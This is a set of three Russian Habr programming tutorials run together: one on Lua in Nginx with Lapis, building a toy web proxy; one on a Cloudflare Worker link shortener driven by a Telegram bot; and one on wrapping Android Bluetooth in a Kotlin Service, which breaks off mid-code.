[Nginx](http://nginx.org) — один из самых эффективных веб-серверов, разработанный Игорем Сысоевым. Многие крупные сайты используют Nginx. Начиная с версии 0.8 появилась [возможность](http://wiki.nginx.org/HttpLuaModule) напрямую встраивать язык Lua. Lua исполняется в самом процессе Nginx, а не выносится в отдельный процесс, как это происходит в случае с другими языками. Код на Lua в контексте Nginx выполняется в неблокирующем режиме, включая запросы к БД и внешние HTTP-запросы, порожденные веб-приложением (например, запрос к API другого сайта).
[OpenResty](http://openresty.org/) — это сборка Nginx с множеством сторонних модулей, в том числе для неблокирующего доступа к популярным БД. Последние версии используют LuaJIT для исполнения Lua. Разработчик Yichun Zhang (США, место работы: CloudFlare, основной разработчик lua-nginx-module).
~~Sailor~~ [MoonScript](http://moonscript.org/) — это скриптовый язык, который транслируется в Lua. Добавляет синтаксический сахар, упрощает написание некоторых вещей, например списковых выражений; реализует классы с наследованием. Можно сказать, что MoonScript для Lua — это CoffeeScript для JavaScript. Разработчик Leaf Corcoran (США).
[Lapis](http://leafo.net/lapis/) — это веб-фрейморк для написания веб-приложений на Lua и MoonScript, который живёт внутри OpenResty. Разработчик Leaf Corcoran (США).
Какое же преимущество дает Lua в Nginx?
---------------------------------------
*Tl;dr Все возможности языка высокого уровня и эффективное использование ресурсов при больших нагрузках*
Для ответа вернёмся в далёкое прошлое, когда все сайты обслуживались веб-сервером Apache.
*Задержки вносят красные узлы и ребра графа. Желтым закрашены компоненты, расположенные на одной машине.*
Аpache выделял отдельный поток операционной системы, который читал запрос, выполнял обработку и отправлял результат пользователю. (Современный Apache можно научить так не делать.) Получается, сколько активных запросов, столько и потоков ОС, а они стоят дорого. Бóльшая часть времени жизни потока при такой схеме расходуется не на обработку запроса, а на передачу данных по сети, лимитированную скоростью интернета у пользователя.
Как с этим бороться? Надо поручить операционной системе следить за передачей данных, чтобы нашему веб-серверу работать только тогда, когда сеть выполнила очередную задачу. Такой подход называется *неблокирующим вводом-выводом* и реализуется в большинстве современных ОС. Веб-сервер Nginx использует эту возможность, за счёт чего может обслуживать десятки тысяч одновременных запросов, используя всего один поток ОС.
Таким образом мы оптимизировали передачу данных между браузером и веб-сервером, но есть ещё одно узкое место, на котором простаивают потоки ОС: работа с базой данных и внешними ресурсами (например, HTTP-API другого сайта). Важно понять, что дело не столько в неизбежных задержках самой базы данных или внешнего API, а в том, что наше веб-приложение бездарно простаивает, пока не получит от них ответ.
Обычное решение: уже в самом веб-приложении наплодить потоков, от которых мы так успешно избавились в веб-сервере. Эффективное решение: сделать так, чтобы веб-приложение и база данных общались неблокирующим способом. Веб-приложение направляет запрос в базу данных и сразу же переходит к следующему запросу от пользователя. База данных считает, возвращает результат, а веб-приложение, когда освободится, возвращается к обработке запроса от пользователя, породившего данный запрос к базе данных. Такой подход используется, например, в node.js:
*БД и внешние API по-прежнему закрашены красным, так как они могут вносить задержку. Преимущество подхода в том, что веб-приложение не просто так их ждёт, а обрабатывает в это время другие запросы.*
Замечательно! Теперь посмотрим, как происходит программирование внешних HTTP-запросов в node.js:
```
var request = require("request");
request.get("http://www.whatever.com/my.csv", function (error, response, body) {
if (!error && response.statusCode == 200) {
console.log("Got body: " + body);
}
});
```
Допустим, мы хотим скачать файл по URL и что-то с ним сделать. Результат приходится обрабатывать в лямбда-функции. Неудобно? Это неизбежная плата за асинхронность? К счастью, это не так; посмотрим аналогичный код в Lapis:
```
local http = require("lapis.nginx.http")
local body, status_code, headers = http.simple("http://www.whatever.com/my.csv")
if status_code == 200 then
print(body)
end
```
Код для Lapis писать удобно, как будто он синхронный, но за кулисами он исполняется полностью асинхронно. Это возможно благодаря активному использованию *сопрограмм* (*[coroutines](http://www.lua.org/pil/9.html)*, *[green threads](https://en.wikipedia.org/wiki/Green_threads)*, а в терминологии Lua просто *threads*). Весь код, обрабатывающий запрос от пользователя, исполняется в отдельной сопрограмме, а сопрограммы могут останавливаться и продолжаться в определенных местах. В нашем примере такое место было внутри вызова функции [http.simple](http://leafo.net/lapis/reference/utilities.html#making-http-requests).
Почему же сопрограммы эффективнее потоков ОС? Не перетащили ли мы все накладные расходы в приложение? На самом деле, ключевым отличием сопрограмм от потоков ОС является свобода программиста, в каком именно месте сопрограмма засыпает и просыпается. (В случае потоков ОС решение принимает ОС.) Начали запрос к БД — усыпили сопрограмму, породившую запрос. Пришёл ответ от БД — будим сопрограмму и продолжаем её исполнение. Выполняем одновременно много дел и всё в одном потоке ОС!
*Примечание. Похожий механизм [вот-вот](http://wingolog.org/archives/2013/05/08/generators-in-v8) появится в node.js.*
*Примечание. Советую прочитать [замечательную статью](http://habrahabr.ru/post/201826/) про сопрограммы в контексте C++. В конце статьи получился асинхронный код, записываемый как синхронный, и всё благодаря сопрограммам. Жалко, что в C++ сопрограммы являются скорее хаком, чем общепринятым приёмом.*
Помимо этого, Lapis исполняется непосредственно в Nginx, что исключает накладные расходы на передачу информации между Nginx и веб-приложением. Конечно, node.js можно использовать как основной веб-сервер, без Nginx, но тогда пропадает возможность использовать разные возможности Nginx.
С другой стороны, не каждый решится пустить код на Lua прямо в основной Nginx. В таком случае запускаем отдельный Nginx с Lua от имени отдельного пользователя с урезанными правами, а в основном Nginx прописываем прокси.
Эффективность Lapis подтверждается в 10-гигабитном [бенчмарке](http://www.techempower.com/benchmarks/). Lapis занимает лидирующие места на уровне языков C++ и Java.
Lapis
-----
1 апреля 2014 года на Хабре была опубликована первоапрельская [статья «LUA в nginx: лапшакод в стиле inline php»](http://habrahabr.ru/post/217773/). В статье рассматривался шуточный код, реализующий PHP-подобные шаблоны на Lua. В комментариях к той же статье [упомянули](http://habrahabr.ru/post/217773/#comment_7454247) о Lapis. Других упоминаний о Lapis на Хабре я не нашел, поэтому решил написать сам.
Писать Hello World скучно. Давайте вместо этого напишем простенький веб-прокси на Lapis.
### Установка OpenResty
Установите perl 5.6.1+, libreadline, libpcre и libssl и убедитесь, что доступна команда ldconfig (её родительская папка может отсутствовать в PATH).
```
$ wget http://openresty.org/download/ngx_openresty-1.7.4.1.tar.gz
$ tar xzvf ngx_openresty-1.7.4.1.tar.gz
$ cd ngx_openresty-1.7.4.1/
$ ./configure
$ make
# make install
```
### Установка Lapis
Сначала надо установить LuaRocks (есть в основных дистрибутивах).
```
# luarocks install lapis
```
### Создаем веб-приложение
Создаем костяк сайта:
```
$ lapis new --lua
wrote nginx.conf
wrote mime.types
wrote app.lua
```
Если бы мы не передали опцию --lua, то был бы создан костяк на языке MoonScript.
Теперь реализуем в app.lua логику нашего приложения: на главной странице сайта отображается форма для ввода URL. Форма отправляется на /geturl, где происходит загрузка страницы по указанному URL и передача содержимого в браузер пользователя.
```
local lapis = require("lapis")
local app = lapis.Application()
local http = require("lapis.nginx.http")
app:get("/", function(self)
return [[
]]
end)
app:post("/geturl", function(self)
local url = self.req.params_post.url
local body, status_code, headers = http.simple(url)
return body
end)
return app
```
Главная страница просто выдает HTML-код с формой. Двойные квадратные скобки — ещё одно обозначения для строк в Lua. Страница /geturl получает POST-запрос от формы, достает из него URL, вписанный пользователем в форму, скачивает содержимое по этому URL при помощи функции http.simple (поток ОС при этом не блокируется, см. выше) и показывает результат пользователю.
Для работы http.simple нужно изменить nginx.conf:
```
location / {
set $_url "";
default_type text/html;
content_by_lua '
require("lapis").serve("app")
';
}
location /proxy {
internal;
rewrite_by_lua '
local req = ngx.req
for k,v in pairs(req.get_headers()) do
if k ~= "content-length" then
req.clear_header(k)
end
end
if ngx.ctx.headers then
for k,v in pairs(ngx.ctx.headers) do
req.set_header(k, v)
end
end
';
resolver 8.8.8.8;
proxy_http_version 1.1;
proxy_pass $_url;
}
```
Этот код создает в Nginx location /proxy, через который Lua совершает внешние запросы. В главный location нужно добавить set $\_url ""; Подробнее об этом написано в [документации](http://leafo.net/lapis/reference/utilities.html#making-http-requests).
Запустим наш веб-прокси:
```
$ lapis server
```
Нажимаем на кнопку «Get». Сайт ip4.me показывает IP-адрес сервера, на котором запущен Lapis.
*Если в URL отсутствует path, то в качестве path используется /proxy. Видимо, это баг Lapis'а, по которому уже составлен [отчёт](https://github.com/leafo/lapis/issues/172).*
Заключение
----------
В Lapis, Lua и Nginx есть ещё много интересного, например, асинхронная работа с БД [Postgres](http://leafo.net/lapis/reference/database.html), [классы-обертки](http://leafo.net/lapis/reference/database.html#models) для объектов БД, [генерация HTML](http://leafo.net/lapis/reference/html_generation.html), мощный язык шаблонов [etlua](http://leafo.net/lapis/reference/etlua_templates.html), [кеширование](http://leafo.net/lapis/reference/utilities.html#caching) переменных между разными процессами-рабочими Nginx, [защита от CSRF](http://leafo.net/lapis/reference/utilities.html#csrf-protection), [два инструмента для тестирования](http://leafo.net/lapis/reference/testing.html) и [интерактивная Lua-консоль](http://leafo.net/lapis/reference/lapis_console.html) прямо в браузере. Если статья найдёт читателя, я продолжу рассказ о Lapis в других статьях.
Без сомнения, Lapis давно перерос уровень первоапрельской шутки и стремительно набирает позиции в сообществе веб-разработчиков. Желаю приятного изучения этих перспективных технологий!
Ссылки
------
* [документация по Lapis](http://leafo.net/lapis/reference.html) (меню спрятано слева, а сверху есть переключение между Lua и MoonScript)
* [подборка хороших ссылок по Lua](https://github.com/LewisJEllis/awesome-lua) (проекты + учебники)
* [документация по HttpLuaModule](http://wiki.nginx.org/HttpLuaModule)
* [язык MoonScript](http://moonscript.org/)
* мнения об использовании сопрограмм в Web: [пессимистичное](http://calculist.org/blog/2011/12/14/why-coroutines-wont-work-on-the-web/), [оптимистичное](https://medium.com/code-adventures/callbacks-vs-coroutines-174f1fe66127)
* исходные коды материалов статьи [доступны на GitHub](https://github.com/starius/harb-lapis/) | https://habr.com/ru/post/240217/ | null | ru | null |
# Легкий сокращатель ссылок на JavaScript, Cloudflare Workers и c Telegram Bot'ом
Что делать если нужно быстро создать короткую ссылку? Конечно – использовать сокращатель ссылок. А что если при этом сделать эту ссылку читаемой? Еще и при этом использовать свой личный домен? А лучше было бы делать это без дополнительных серверов. Похоже что ответ есть.
---
Предыстория
-----------
Идея «легкого сокращателя ссылок» пришла ко мне в момент поиска варианта переадресации с использованием домена для одной из комнат в новомодной соцсети Clubhouse. Суть идеи переадресации для комнаты состоял в том, чтобы перезапускать комнату с одинаковым названием, но постоянным онлайном. Решить нужно было проблему постоянной смены адреса комнаты припарковав такую ссылку к под-домену.
Решение напросилось само собой, так как сайт был заранее посажен на Cloudflare. Изначально использовала функция «Page Rules», которая позволяет задать, в том числе, правила переадресации, но вскоре пришла идея сделать эту переадресацию более гибкой и изменяемой без нужды заходить в настройки сервиса. Конечно же, таким решением стал Telegram Bot.
Постановка задачи
-----------------
Для того чтобы выполнить задуманное нужно решить несколько проблем:
* Как переадресовывать с определенного под-домена?
* Куда сохранять ссылки по ключу (сокращение) – значению (адрес переадресации)?
* С помощью чего создавать такие сокращения?
Как вы догадались, ответы на эти вопросы есть в самом заголовке статьи. Поэтому предлагаю приступить к практической части.
Предусловия
-----------
Для более детального описания отмечу основные условия необходимые для реализации нашего проекта:
* Домен подключенный к Cloudflare;
* Общие знания JavaScript;
* Созданный Telegram бот;
* Документация по [Cloudflare Worker](https://developers.cloudflare.com/workers/)'ам и [Telegram Bot API](https://core.telegram.org/bots/api).
*Как выполнить необходимые предусловия в этой статье не рассматривается. Решение этих задач остается на читателе.*
Подготовка
----------
Казалось бы, все предусловия соблюдены, — «Какая еще подготовка?». Предлагаю отметить несколько шагов подготовки к реализации:
**1. Создание хранилища – нам поможет** [**Cloudflare KV**](https://developers.cloudflare.com/workers/reference/storage/namespaces/)**.**
Cloudflare KV — это база данных для Worker'ов по принципу «ключ - значение». *Как вы поняли, вторая проблема решилась силами самого Cloudflare.*
Последовательность простая: на странице наших Workers переходим во вкладку KV, вводим желаемое имя для хранилища, нажимаем добавить.
Страница Cloudflare KVПо результату можем даже посмотреть что находится внутри нашего хранилища. Не удивительно что ничего, но мы можем сюда загрузить наши желаемые сокращения напрямую. Это может понадобиться для старта работы с ними, например, протестировать сначала переадресацию.
Внутри нашего хранилища**2. Создаем свой Worker и настраиваем его.**
Для этого воспользуемся кнопкой «Create worker», в редакторе сразу сохраним и задеплоим новый Worker («Save and Deploy») и вернемся обратно в меню.
Так выглядит страница нового Worker'аСразу задаем вменяемое имя и перейдя в «Settings» запишем токен нашего Telegram бота, а также привяжем хранилище.
Настройки Worker'а**3. Привяжем под-домен к скрипту**
Для того чтобы обращение по желаемому адресу, в моем случае `url.mydomain.com`, направляло пользователя в наш будущий «сервис-сокращатель» настроим привязку к под-домену.
Страница Workers для нашего доменаА именно, нам надо на странице «Workers» для нашего домена добавить свой «Route» на будущий сервис-сокращатель.
Добавление нового перенаправленияЗаметьте, что звездочка вконце ссылки обозначает то, что любое значения после нашего домена (path - путь) будет направляться в сокращатель.
*Это важный аспект для того чтобы дальше все сработало.*
Соответственно, создаем также запись в DNS чтобы все запросы проходили DNS проверку.
Новая запись в DNS по которой будет находиться сокращатель ссылокГотово! Можем приступать к кодированию.
Реализация
----------
Приступим к непосредственной реализации. Дальнейшие действия будут происходить в редакторе кода, который предоставляет нам Cloudlfare. Мы его уже видели перед тем как инициализировать новый Worker. Вернемся туда воспользовавшись кнопкой «Quick edit» на странице нашего проекта.
Редактор кодаУ нас сервис будет состоять из двух частей:
* Переадресация
* Запись нового сокращения
Для реализации переадресации напишем функцию которая будет брать значение из нашей базы данных и в случае нахождения введенного нами пути (URL path) будет создавать редирект. В ином случае будем выдавать ошибку 404.
```
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
/**
* Respond to the request
* @param {Request} request
*/
async function handleRequest(request) {
const requestUrl = new URL(request.url);
const path = requestUrl.pathname.substring(1); // Удалим символ "/"
return await redirect(path)
}
/**
* Make redirect
* @param {string} shortName
*/
async function redirect(shortName) {
// Получим значение адреса который запросили по короткой ссылке
const url = await db.get(shortName);
if (url) {
// Переадресовываем по ссылке
return Response.redirect(url)
}
// Не нашли такого сокращения
return new Response(null, {status: 404})
}
```
Тут же, в правой половине редактора который позволяет сделать дебаг еще не задеплоенного код, проверяем работу переадресации:
Есть контакт!Теперь приступим к реализации второй части. Тут задача будет более объемной. Для начала мы будем определять что это к нам постучался Telegram через заданный нами URL. Дальше проверим что это боту написали мы, чтобы никто другой не имел доступа к боту пропишем наш Telegram User ID в константу. Следующим шагом достанем из присланного сообщения короткий путь и ссылку куда переадресовывать и запишем ссылку в базу данных. В конце подключим нашего бота через webhook'и.
```
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
const ADMIN = 11111111; // Типо наш Telegram User ID
/**
* Respond to the request
* @param {Request} request
*/
async function handleRequest(request) {
const requestUrl = new URL(request.url);
const path = requestUrl.pathname.substring(1);
// Добавили проверку пути на соответствие токену нашего бота
if (path == BOT_TOKEN) {
return await bot(await request.json())
}
return await redirect(path)
}
/**
* Make redirect
* @param {string} shortName
*/
async function redirect(shortName) {
const url = await db.get(shortName);
if (url) {
return Response.redirect(url)
}
return new Response(null, {status: 404})
}
/**
* Create new shorten URL
* @param {Object} update
*/
async function bot(update) {
// Пропускаем сообщения от НЕ админов
if (update.message.from.id != ADMIN) {
return new Response("OK", {status: 200})
}
// Разбиваем сообщения типа "shortname url"
const [shortName, url] = update.message.text.split(" ");
// Запоминаем наше новое сокращение
await db.put(shortName, url);
const response = {
// Что мы хотим сделать в ответ на новое сообщение
"method": "sendMessage",
// Чем будем отвечать на новую пару сокращение - адрес переадресации
"text": `Теперь ${url} доступно по короткой ссылке url.mydomain.com/${shortName}`,
// Кому будем отвечать, тут может быть просто ADMIN (идентично нынешней реализации),
// либо update.message.chat.id чтобы у администратора была возможность
// использовать бота в групповых чатах
"chat_id": update.message.from.id
}
return new Response(
JSON.stringify(response),
{
status: 200,
headers: new Headers({"Content-Type": "application/json"})
}
)
}
```
Тут же, в дебаге, проверяем работу нашего кода:
Выглядит работоспособноЗаглянем в нашу базу данных чтобы убедиться что все записалось (тут же можем почистить хранилище от наших тестовых значений):
РаботаетОсталось дело за малым – повесить на нашу страницу Telegram Bot Webhook. У нас для этого все готово, поэтому воспользуемся ссылкой формата:
`https://api.telegram.org/bot[BOT_TOKEN]/setWebhook?url=url.domain.com/[BOT_TOKEN]`
Ответ Telegram API должен быть:
```
{"ok":true,"result":true,"description":"Webhook was set"}
```
Проверяем результат работы бота. Отправляем ему короткое имя и ссылку, так как задали в коде, и пробуем пройти по ссылке для проверки работоспособности.
«Он жив!»
Заключение
----------
В итоге у нас получился короткий и легкий в реализации «сокращатель ссылок» который мы можем модифицировать по нашему усмотрению.
Стоит отметить, что такой подход имеет **некоторые ограничения** с которыми можно ознакомится на [странице Cloudflare Worker'ов](https://developers.cloudflare.com/workers/platform/pricing). Если коротко, то:
* записывать в БД мы можем до 1000 значений в день (максимально возможное количество созданных сокращений);
* считывать из БД до 100 000 раз в день (максимальное количество посещений);
* сам скрип может быть запущен до 100 000 раз в день (количество сообщений боту и посещений сокращенных ссылок);
* скрипт должен запускаться не больше 1000 раз в минуту.
Этих ограничений должно хватить для личного использования, поделитесь вашим мнением на этот счет в комментариях. | https://habr.com/ru/post/545170/ | null | ru | null |
# Android: Bluetooth в качестве сервиса
Реализация Bluetooth как сервиса в Android### Почему? И как?
Вы когда-нибудь задавали себе вопрос, прочитав [официальное руководство по bluetooth](https://developer.android.com/guide/topics/connectivity/bluetooth) для Android, как управлять им внутри вашего приложения? Как сохранить соединение активным, даже когда вы переходите от одного действия к другому?
Что ж, в этом руководстве я постараюсь показать вам, как я реализовал связь bluetooth через Service, чтобы управлять bluetooth и соединением с различными действиями, используя Service Binding, а также установил слушатель обратного вызова для операций, получающих информацию о состоянии связи bluetooth.
В этом руководстве мы создадим четыре файла:
* `BluetoothSDKService` :который реализует функциональные возможности bluetooth и выдает `LocalBroadcast` сообщения во время операций
* `BluetoothSDKListenerHelper` : который выполняет `BroadcastReceiver` и запускает функции `IBluetoothSDKListener`
* `IBluetoothSDKListener`: наш Interface, который определяет функции обратного вызова
* `BluetoothUtils` : который содержит имена действий, определенных для фильтрации событий в `BroadcastReceiver`
#### 1) Определите действия
Первым шагом является определение файла BluetoothUtils.kt , который содержит действия, о которых мы хотим получать уведомления в нашей активности:
```
class BluetoothUtils {
companion object {
val ACTION_DISCOVERY_STARTED = "ACTION_DISCOVERY_STARTED"
val ACTION_DISCOVERY_STOPPED = "ACTION_DISCOVERY_STOPPED"
val ACTION_DEVICE_FOUND = "ACTION_DEVICE_FOUND"
val ACTION_DEVICE_CONNECTED = "ACTION_DEVICE_CONNECTED"
val ACTION_DEVICE_DISCONNECTED = "ACTION_DEVICE_DISCONNECTED"
val ACTION_MESSAGE_RECEIVED = "ACTION_MESSAGE_RECEIVED"
val ACTION_MESSAGE_SENT = "ACTION_MESSAGE_SENT"
val ACTION_CONNECTION_ERROR = "ACTION_CONNECTION_ERROR"
val EXTRA_DEVICE = "EXTRA_DEVICE"
val EXTRA_MESSAGE = "EXTRA_MESSAGE"
}
}
```
Я определил несколько, но вы можете добавлять их по своему усмотрению.
#### 2) Определите события-функции обратного вызова
Второй шаг - это определение нашего интерфейса, который будет содержать события, соответствующие действиям, которые мы определили в первом шаге. Итак, давайте продолжим и определим `IBluetoothSDKListener` как:
```
interface IBluetoothSDKListener {
/**
* from action BluetoothUtils.ACTION_DISCOVERY_STARTED
*/
fun onDiscoveryStarted()
/**
* from action BluetoothUtils.ACTION_DISCOVERY_STOPPED
*/
fun onDiscoveryStopped()
/**
* from action BluetoothUtils.ACTION_DEVICE_FOUND
*/
fun onDeviceDiscovered(device: BluetoothDevice?)
/**
* from action BluetoothUtils.ACTION_DEVICE_CONNECTED
*/
fun onDeviceConnected(device: BluetoothDevice?)
/**
* from action BluetoothUtils.ACTION_MESSAGE_RECEIVED
*/
fun onMessageReceived(device: BluetoothDevice?, message: String?)
/**
* from action BluetoothUtils.ACTION_MESSAGE_SENT
*/
fun onMessageSent(device: BluetoothDevice?)
/**
* from action BluetoothUtils.ACTION_CONNECTION_ERROR
*/
fun onError(message: String?)
/**
* from action BluetoothUtils.ACTION_DEVICE_DISCONNECTED
*/
fun onDeviceDisconnected()
}
```
Этот интерфейс будет позже реализован в нашей активности, или фрагменте, который будет выполнять некоторые действия при появлении события. Например, когда устройство подключается, срабатывает функция `onDeviceDiscovered`, и затем вы можете перейти к выполнению определенных операций, например, как мы увидим в следующих шагах, отправить сообщение по bluetooth на только что подключенное устройство через наш `BluetoothSDKService`.
#### 3) Определение BroadcastReceiver
Следующим шагом будет определение нашего `BroadcastReceiver`, задачей которого будет фильтрация намерений с нашими действиями, определенными до получения `LocalBroadcastManager`, для запуска функций обратного вызова, определенных в предыдущем разделе. Поэтому мы используем `BluetoothSDKListenerHelper` как:
```
class BluetoothSDKListenerHelper {
companion object {
private var mBluetoothSDKBroadcastReceiver: BluetoothSDKBroadcastReceiver? = null
class BluetoothSDKBroadcastReceiver : BroadcastReceiver() {
private var mGlobalListener: IBluetoothSDKListener? = null
public fun setBluetoothSDKListener(listener: IBluetoothSDKListener) {
mGlobalListener = listener
}
public fun removeBluetoothSDKListener(listener: IBluetoothSDKListener): Boolean {
if (mGlobalListener == listener) {
mGlobalListener = null
}
return mGlobalListener == null
}
override fun onReceive(context: Context?, intent: Intent?) {
val device =
intent!!.getParcelableExtra(BluetoothUtils.EXTRA\_DEVICE)
val message = intent.getStringExtra(BluetoothUtils.EXTRA\_MESSAGE)
when (intent.action) {
BluetoothUtils.ACTION\_DEVICE\_FOUND -> {
mGlobalListener!!.onDeviceDiscovered(device)
}
BluetoothUtils.ACTION\_DISCOVERY\_STARTED -> {
mGlobalListener!!.onDiscoveryStarted()
}
BluetoothUtils.ACTION\_DISCOVERY\_STOPPED -> {
mGlobalListener!!.onDiscoveryStopped()
}
BluetoothUtils.ACTION\_DEVICE\_CONNECTED -> {
mGlobalListener!!.onDeviceConnected(device)
}
BluetoothUtils.ACTION\_MESSAGE\_RECEIVED -> {
mGlobalListener!!.onMessageReceived(device, message)
}
BluetoothUtils.ACTION\_MESSAGE\_SENT -> {
mGlobalListener!!.onMessageSent(device)
}
BluetoothUtils.ACTION\_CONNECTION\_ERROR -> {
mGlobalListener!!.onError(message)
}
BluetoothUtils.ACTION\_DEVICE\_DISCONNECTED -> {
mGlobalListener!!.onDeviceDisconnected()
}
}
}
}
public fun registerBluetoothSDKListener(
context: Context?,
listener: IBluetoothSDKListener
) {
if (mBluetoothSDKBroadcastReceiver == null) {
mBluetoothSDKBroadcastReceiver = BluetoothSDKBroadcastReceiver()
val intentFilter = IntentFilter().also {
it.addAction(BluetoothUtils.ACTION\_DEVICE\_FOUND)
it.addAction(BluetoothUtils.ACTION\_DISCOVERY\_STARTED)
it.addAction(BluetoothUtils.ACTION\_DISCOVERY\_STOPPED)
it.addAction(BluetoothUtils.ACTION\_DEVICE\_CONNECTED)
it.addAction(BluetoothUtils.ACTION\_MESSAGE\_RECEIVED)
it.addAction(BluetoothUtils.ACTION\_MESSAGE\_SENT)
it.addAction(BluetoothUtils.ACTION\_CONNECTION\_ERROR)
it.addAction(BluetoothUtils.ACTION\_DEVICE\_DISCONNECTED)
}
LocalBroadcastManager.getInstance(context!!).registerReceiver(
mBluetoothSDKBroadcastReceiver!!, intentFilter
)
}
mBluetoothSDKBroadcastReceiver!!.setBluetoothSDKListener(listener)
}
public fun unregisterBluetoothSDKListener(
context: Context?,
listener: IBluetoothSDKListener
) {
if (mBluetoothSDKBroadcastReceiver != null) {
val empty = mBluetoothSDKBroadcastReceiver!!.removeBluetoothSDKListener(listener)
if (empty) {
LocalBroadcastManager.getInstance(context!!)
.unregisterReceiver(mBluetoothSDKBroadcastReceiver!!)
mBluetoothSDKBroadcastReceiver = null
}
}
}
}
}
```
В действии или фрагменте мы реализуем наш `IBluetoothSDKListener`, который мы зарегистрируем через две функции `registerBluetoothSDKListner()` и `unregisterBluetoothSDKListner()`. Например:
```
class CoolFragment() : BottomSheetDialogFragment() {
private lateinit var mService: BluetoothSDKService
private lateinit var binding: FragmentPopupDiscoveredLabelerDeviceBinding
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
val view = inflater.inflate(R.layout.fragment_popup_discovered_labeler_device, container,false)
binding = FragmentPopupDiscoveredLabelerDeviceBinding.bind(view)
bindBluetoothService()
// Register Listener
BluetoothSDKListenerHelper.registerBluetoothSDKListener(requireContext(), mBluetoothListener)
return view
}
/**
* Bind Bluetooth Service
*/
private fun bindBluetoothService() {
// Bind to LocalService
Intent(
requireActivity().applicationContext,
BluetoothSDKService::class.java
).also { intent ->
requireActivity().applicationContext.bindService(
intent,
connection,
Context.BIND_AUTO_CREATE
)
}
}
/**
* Handle service connection
*/
private val connection = object : ServiceConnection {
override fun onServiceConnected(className: ComponentName, service: IBinder) {
val binder = service as BluetoothSDKService.LocalBinder
mService = binder.getService()
}
override fun onServiceDisconnected(arg0: ComponentName) {
}
}
private val mBluetoothListener: IBluetoothSDKListener = object : IBluetoothSDKListener {
override fun onDiscoveryStarted() {
}
override fun onDiscoveryStopped() {
}
override fun onDeviceDiscovered(device: BluetoothDevice?) {
}
override fun onDeviceConnected(device: BluetoothDevice?) {
// Do stuff when is connected
}
override fun onMessageReceived(device: BluetoothDevice?, message: String?) {
}
override fun onMessageSent(device: BluetoothDevice?) {
}
override fun onError(message: String?) {
}
}
override fun onDestroy() {
super.onDestroy()
// Unregister Listener
BluetoothSDKListenerHelper.unregisterBluetoothSDKListener(requireContext(), mBluetoothListener)
}
}
```
Теперь наш фрагмент может быть запущен для событий, полученных `BroadcastListener`, который передает их через обратные вызовы в интерфейс нашего фрагмента. Чего теперь не хватает? Ну, важная часть: сервис Bluetooth!
#### 4) Определите сервис Bluetooth
А теперь самая сложная часть - Bluetooth Service. Мы собираемся определить класс, расширяющий `Service`, в котором мы определим функции, позволяющие привязывать Service и управлять потоками Bluetooth-соединения:
```
class BluetoothSDKService : Service() {
// Service Binder
private val binder = LocalBinder()
// Bluetooth stuff
private lateinit var bluetoothAdapter: BluetoothAdapter
private lateinit var pairedDevices: MutableSet
private var connectedDevice: BluetoothDevice? = null
private val MY\_UUID = "..."
private val RESULT\_INTENT = 15
// Bluetooth connections
private var connectThread: ConnectThread? = null
private var connectedThread: ConnectedThread? = null
private var mAcceptThread: AcceptThread? = null
// Invoked only first time
override fun onCreate() {
super.onCreate()
bluetoothAdapter = BluetoothAdapter.getDefaultAdapter()
}
// Invoked every service star
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
return START\_STICKY
}
/\*\*
\* Class used for the client Binder.
\*/
inner class LocalBinder : Binder() {
/\*
Function that can be called from Activity or Fragment
\*/
}
/\*\*
\* Broadcast Receiver for catching ACTION\_FOUND aka new device discovered
\*/
private val discoveryBroadcastReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
/\*
Our broadcast receiver for manage Bluetooth actions
\*/
}
}
private inner class AcceptThread : Thread() {
// Body
}
private inner class ConnectThread(device: BluetoothDevice) : Thread() {
// Body
}
@Synchronized
private fun startConnectedThread(
bluetoothSocket: BluetoothSocket?,
) {
connectedThread = ConnectedThread(bluetoothSocket!!)
connectedThread!!.start()
}
private inner class ConnectedThread(private val mmSocket: BluetoothSocket) : Thread() {
// Body
}
override fun onDestroy() {
super.onDestroy()
try {
unregisterReceiver(discoveryBroadcastReceiver)
} catch (e: Exception) {
// already unregistered
}
}
override fun onBind(intent: Intent?): IBinder? {
return binder
}
private fun pushBroadcastMessage(action: String, device: BluetoothDevice?, message: String?) {
val intent = Intent(action)
if (device != null) {
intent.putExtra(BluetoothUtils.EXTRA\_DEVICE, device)
}
if (message != null) {
intent.putExtra(BluetoothUtils.EXTRA\_MESSAGE, message)
}
LocalBroadcastManager.getInstance(applicationContext).sendBroadcast(intent)
}
}
```
Чтобы сделать суть более читабельной, я закомментировал части о потоках, которые вы можете получить из [официальной документации](https://developer.android.com/guide/topics/connectivity/bluetooth).
Как вы видите, в `LocalBinder` можно определить функции, которые будут видны действиям после привязки к ним. Например, мы можем определить функции для операций обнаружения, отправки сообщения или соединения, которые затем будут выполняться операции внутри сервиса.
```
/**
* Class used for the client Binder.
*/
inner class LocalBinder : Binder() {
/**
* Enable the discovery, registering a broadcastreceiver {@link discoveryBroadcastReceiver}
* The discovery filter by LABELER_SERVER_TOKEN_NAME
*/
public fun startDiscovery(context: Context) {
val filter = IntentFilter(BluetoothDevice.ACTION_FOUND)
filter.addAction(BluetoothDevice.ACTION_ACL_DISCONNECTED)
registerReceiver(discoveryBroadcastReceiver, filter)
bluetoothAdapter.startDiscovery()
pushBroadcastMessage(BluetoothUtils.ACTION_DISCOVERY_STARTED, null, null)
}
/**
* stop discovery
*/
public fun stopDiscovery() {
bluetoothAdapter.cancelDiscovery()
pushBroadcastMessage(BluetoothUtils.ACTION_DISCOVERY_STOPPED, null, null)
}
// other stuff
}
```
Затем в потоках, управляющих сокетами, вы можете использовать функцию `pushBroadcastMessage()` для генерации событий и добавления информационного наполнения, такого как удаленное устройство и сообщение. Например:
```
private inner class ConnectedThread(private val mmSocket: BluetoothSocket) : Thread() {
private val mmInStream: InputStream = mmSocket.inputStream
private val mmOutStream: OutputStream = mmSocket.outputStream
private val mmBuffer: ByteArray = ByteArray(1024) // mmBuffer store for the stream
override fun run() {
var numBytes: Int // bytes returned from read()
// Keep listening to the InputStream until an exception occurs.
while (true) {
// Read from the InputStream.
numBytes = try {
mmInStream.read(mmBuffer)
} catch (e: IOException) {
pushBroadcastMessage(
BluetoothUtils.ACTION_CONNECTION_ERROR,
null,
"Input stream was disconnected"
)
break
}
val message = String(mmBuffer, 0, numBytes)
// Send to broadcast the message
